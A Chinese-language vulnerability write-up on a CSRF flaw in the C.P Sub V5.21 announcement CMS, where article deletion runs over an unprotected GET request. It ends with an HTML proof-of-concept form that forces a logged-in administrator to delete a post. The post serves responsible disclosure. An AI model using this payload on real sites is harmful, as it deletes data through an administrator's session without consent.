#漏洞

C.P Sub V5.21 CSRF 分析

前言介紹：

終於有空檔可以寫這篇文章了！，由於都在忙、所以便無法出這份報告...

這節要來分析是一個公告系統的 CMS 開源專案。

名為C.P Sub 公告系統是一款可以讓網站管理員從後台發布最新資訊，並且可供網站使用者嵌入至前台為資訊系統的強大應用功能，台灣「教育、政府、企業」有些部份都搭配使用它來作為最新消息系統提供使用者可知道該站消息。

後台編輯器採用了流行得CKeditor ，因此對一個編寫文章的人來說非常實用及容易上手。

漏洞重現：

*另提，不得不說開發者已經針對全部程式碼加上了基本token 驗證、也非常迅速響應漏洞問題，值得嘉許。

去年九月時候上報了此漏洞issue ，到了今年2月才獲得專案開發者全面修補更新檔。

接下來是先嘗試漏洞複測在針對程式碼進行追溯分析！

首先，在後台當然是測試安全性！因此好奇的觀察頁面發現了文章刪除，這時腦子想的是在這裡是否可控？

意外看到了，刪除使用GET 方式來request 且附帶著公告參數值(id) 意指藉由這種模式來對Server 端請求刪除

↑ 也可以發現使用了onclick 事件的return confirm 屬性來針對刪除前的詢問作後續處理，但是得必須知道，對於沒有使用令牌來驗證且是以 get 方法含著有敏感資訊傳輸都是非常不安全作法！

所以構造這類利用代碼也是非常容易的，只要針對想刪除公告id 即刪除命令傳給再登入後台情況下管理員就可成功攻擊。

但這漏洞影響有限，後續可能可搭配一些漏洞結合技巧來作更嚴重攻擊。

Poc Payload：

<html>
<head>
<title>CSRF</title>
</head>
<body>


    <form action="http://website/manage.php">
      <input type="hidden" name="p" value="article&#95;del" />
      <input type="hidden" name="id" value="2" />
      <input type="submit" value="Hello" />
    </form>


</body>
</html>